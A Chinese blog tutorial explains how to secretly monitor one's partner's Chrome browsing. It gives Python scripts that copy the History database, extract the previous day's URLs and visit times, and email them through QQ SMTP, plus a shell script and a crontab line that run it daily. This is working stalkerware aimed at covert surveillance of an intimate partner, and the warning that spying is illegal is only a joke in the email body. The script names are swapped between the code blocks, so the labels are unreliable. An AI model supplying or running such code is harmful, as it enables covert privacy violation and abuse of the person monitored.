Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python网络编程学习笔记(二):socket建立网络客户端
Jun 09 Python
关于你不想知道的所有Python3 unicode特性
Nov 28 Python
在Python的Django框架中更新数据库数据的方法
Jul 17 Python
Django REST为文件属性输出完整URL的方法
Dec 18 Python
Python数据结构之双向链表的定义与使用方法示例
Jan 16 Python
numpy中的ndarray方法和属性详解
May 27 Python
Python调用百度根据经纬度查询地址的示例代码
Jul 07 Python
Python猴子补丁知识点总结
Jan 05 Python
Python: tkinter窗口屏幕居中,设置窗口最大,最小尺寸实例
Mar 04 Python
python中threading开启关闭线程操作
May 02 Python
浅谈Python 参数与变量
Jun 20 Python
详解selenium + chromedriver 被反爬的解决方法
Oct 28 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
php中文乱码问题的终极解决方案汇总
2017/08/01 PHP
ThinkPHP3.2.3框架Memcache缓存使用方法实例总结
2019/04/15 PHP
php设计模式之观察者模式实例详解【星际争霸游戏案例】
2020/03/30 PHP
2007/12/23更新创意无限,简单实用(javascript log)
2007/12/24 Javascript
javascript Object与Function使用
2010/01/11 Javascript
最短的IE判断代码
2011/03/13 Javascript
正则表达式搭配js轻松处理json文本方便而老古
2013/02/17 Javascript
node.js中的fs.lchownSync方法使用说明
2014/12/16 Javascript
JavaScript的原型继承详解
2015/02/15 Javascript
jQuery 调用WebService 实例讲解
2016/06/28 Javascript
Vue.js动态组件解析
2016/09/09 Javascript
jquery,js简单实现类似Angular.js双向绑定
2017/01/13 Javascript
微信小程序开发之从相册获取图片 使用相机拍照 本地图片上传
2017/04/18 Javascript
详解让sublime text3支持Vue语法高亮显示的示例
2017/09/29 Javascript
在小程序中使用canvas的方法示例
2018/09/17 Javascript
了解javascript中变量及函数的提升
2019/05/27 Javascript
jQuery实现异步上传一个或多个文件
2020/08/17 jQuery
详细介绍Python函数中的默认参数
2015/03/30 Python
python遍历文件夹下所有excel文件
2018/01/03 Python
Python编程pygame模块实现移动的小车示例代码
2018/01/03 Python
Python将文本去空格并保存到txt文件中的实例
2018/07/24 Python
Python中实现输入超时及如何通过变量获取变量名
2020/01/18 Python
使用python-pptx包批量修改ppt格式的实现
2020/02/14 Python
python 写一个水果忍者游戏
2021/01/13 Python
使用CSS3 制作一个material-design 风格登录界面实例
2016/12/12 HTML / CSS
校长岗位职责
2013/11/26 职场文书
残疾人小组计划书
2014/04/27 职场文书
股东授权委托书范文
2014/09/13 职场文书
护士辞职信怎么写
2015/02/27 职场文书
植树节新闻稿
2015/07/17 职场文书
python实现批量提取指定文件夹下同类型文件
2021/04/05 Python
Python Parser的用法
2021/05/12 Python
JavaScript如何优化逻辑判断代码详解
2021/06/08 Javascript
JavaScript中MutationObServer监听DOM元素详情
2021/11/27 Javascript
利用正则表达式匹配浮点型数据
2022/05/30 Java/Android
详解CSS中postion和opacity及cursor的特性
2022/08/14 HTML / CSS